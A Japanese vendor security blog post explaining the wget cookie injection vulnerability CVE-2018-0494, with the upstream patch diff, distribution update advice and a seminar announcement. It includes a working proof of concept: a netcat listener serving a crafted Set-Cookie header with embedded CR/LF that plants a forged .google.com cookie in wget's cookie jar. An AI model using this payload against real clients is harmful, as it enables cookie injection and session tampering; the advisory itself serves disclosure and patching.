wgetの脆弱性(CVE-2018-0494) — | サイオスOSS | サイオステクノロジー

wgetの脆弱性(CVE-2018-0494) — | サイオスOSS | サイオステクノロジー

wgetの脆弱性(CVE-2018-0494)

05/07/2018にwgetの脆弱性情報(CVE-2018-0494)が公開されています。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

05/07/2018にwgetの脆弱性情報(CVE-2018-0494)が公開されています。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0494
    • Cookieインジェクションの脆弱性

    • wgetのhttp.c中のresp_new()関数に問題が有り、継続する行に\r\nがあった際にパース処理でそのまま残していました。これを利用して、悪意のある外部サイトの攻撃者が接続を待ち受け、接続した際にクッキーインジェクションを行うことが可能になります。

    • この問題での修正は以下になります。

      diff --git a/src/http.c b/src/http.c
      index c8960f1..77bdbbe 100644
      --- a/src/http.c
      +++ b/src/http.c
      @@ -613,9 +613,9 @@ struct response {
      resp_header_*.  */
      static struct response *
      -resp_new (const char *head)
      +resp_new (char *head)
      {
      -  const char *hdr;
      +  char *hdr;
      int count, size;
      struct response *resp = xnew0 (struct response);
      @@ -644,15 +644,23 @@ resp_new (const char *head)
      break;
      /* Find the end of HDR, including continuations. */
      -      do
      +      for (;;)
      {
      -          const char *end = strchr (hdr, '\n');
      +          char *end = strchr (hdr, '\n');
      +
      if (end)
      hdr = end + 1;
      else
      hdr += strlen (hdr);
      +
      +          if (*hdr != ' ' && *hdr != '\t')
      +            break;
      +
      +          // continuation, transform \r and \n into spaces
      +          *end = ' ';
      +          if (end > head && end[-1] == '\r')
      +            end[-1] = ' ';
      }
      -      while (*hdr == ' ' || *hdr == '\t');
      }
      DO_REALLOC (resp->headers, size, count + 1, const char *);
      resp->headers[count] = NULL;

PoC

  1. 悪意のある外部ユーザだとして、以下のような、簡易httpdサーバ(192.168.1.1)を立てておきます(Port7777)。

    [victim@cent74 ~]$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777
    
  2. クライアントから、簡易httpdサーバにwgetで接続してCookieをjar.txtとして保存します。

    sios@client:~/SIOS/VP$ wget --save-cookies jar.txt http://192.168.1.1:7777/plop
    
  3. jar.txtファイルを見ると、クライアントのクッキーが書き換えられているのがわかります。

    sios@client:~/SIOS/VP$ cat jar.txt
    # HTTP cookie file.
    # Generated by Wget on 2018-05-07 10:15:06.
    # Edit at your own risk.
    192.168.1.1:7777	FALSE	/	FALSE	1956556800	foo	"bar
    .google.com	TRUE	/	FALSE	1900000000	injected	cookie
    

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat Satelliteを使うと管理が便利でしょう。

Red Hat Satelliteを用いた一般的なErattaの適用は、『Red Hat Satellite 6でerrataを適用してみる』を 参考にして下さい。

[参考]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0494

セキュリティ系連載案内


セミナー情報

2018年05月17日 (木) 15:00から、MKTインターナショナル株式会社 / デジタルアーツ株式会社 / 日本オラクル株式会社 / サイオステクノロジー株式会社で連携してセミナーを開催します。

日本オラクル社からは、 MySQL Global Business Unit Sales Consulting Senior Managerの梶山 隆輔をお招きし、MySQLデータベースのセキュリティソリューションについてお話を頂きます。

https://sios.secure.force.com/webform/SeminarDetail?id=701100000012NsIAAUがプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。

タイトルとURLをコピーしました